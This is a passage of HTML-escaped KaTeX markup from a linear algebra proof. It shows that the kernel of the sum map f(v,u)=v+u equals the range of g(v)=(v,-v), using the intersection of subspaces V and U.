class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;∈&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8777699999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. Then we compute
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
f(g(v)) = f(v, -v) = v - v = 0,
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.66666em;vertical-align:-0.08333em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.43056em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8388800000000001em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
therefore &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ran&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mo&gt;⊆&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ker&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\operatorname{Ran} g \subseteq \operatorname{Ker}{f} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8777699999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;⊆&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;r&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;

&lt;p&gt;Now we consider &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;∈&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ker&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;(v, u) \in \operatorname{Ker}{f} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;∈&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;r&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. This means that
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mspace width=&quot;1em&quot;&gt;&lt;/mspace&gt;&lt;mtext&gt;thus&lt;/mtext&gt;&lt;mspace width=&quot;1em&quot;&gt;&lt;/mspace&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;.&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
f(v, u) = v + u = 0, \quad \text{thus}\quad v = -u.
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.66666em;vertical-align:-0.08333em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.43056em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:1em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord text&quot;&gt;&lt;span class=&quot;mord&quot;&gt;thus&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:1em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.66666em;vertical-align:-0.08333em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
Additionally, &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;U &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; is a subspace, hence it contains the additive inverse
for each of its elements, meaning &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mo&gt;∈&lt;/mo&gt;&lt;mi&gt;V&lt;/mi&gt;&lt;mo&gt;∩&lt;/mo&gt;&lt;mi&gt;U&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;v = -u \in V \cap U &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.43056em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.66666em;vertical-align:-0.08333em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;∈&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.22222em;&quot;&gt;V&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mbin&quot;&gt;∩&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2222222222222222em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.68333em;vertical-align:0em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10903em;&quot;&gt;U&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;. This means we
can use &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;g &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.625em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; to get
&lt;span class=&quot;katex-display&quot;&gt;&lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mo&gt;−&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;v&lt;/mi&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;)&lt;/mo&gt;&lt;mo separator=&quot;true&quot;&gt;,&lt;/mo&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;
g(v) = (v, -v) = (v, u),
&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;−&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:1em;vertical-align:-0.25em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mopen&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord mathnormal&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;mclose&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mpunct&quot;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
and therefore &lt;span class=&quot;katex&quot;&gt;&lt;span class=&quot;katex-mathml&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ker&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;f&lt;/mi&gt;&lt;mo&gt;⊆&lt;/mo&gt;&lt;mi mathvariant=&quot;normal&quot;&gt;Ran&lt;/mi&gt;&lt;mo&gt;⁡&lt;/mo&gt;&lt;mi&gt;g&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\operatorname{Ker}{f} \subseteq \operatorname{Ran}{g} &lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&quot;katex-html&quot; aria-hidden=&quot;true&quot;&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8888799999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;r&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.10764em;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mrel&quot;&gt;⊆&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.2777777777777778em;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;base&quot;&gt;&lt;span class=&quot;strut&quot; style=&quot;height:0.8777699999999999em;vertical-align:-0.19444em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mop&quot;&gt;&lt;span class=&quot;mord mathrm&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mord mathrm&quot;&gt;n&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;mspace&quot; style=&quot;margin-right:0.16666666666666666em;&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mord&quot;&gt;&lt;span class=&quot;mord mathnormal&quot; style=&quot;margin-right:0.03588em;&quot;&gt;g&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.&lt;/p&gt;

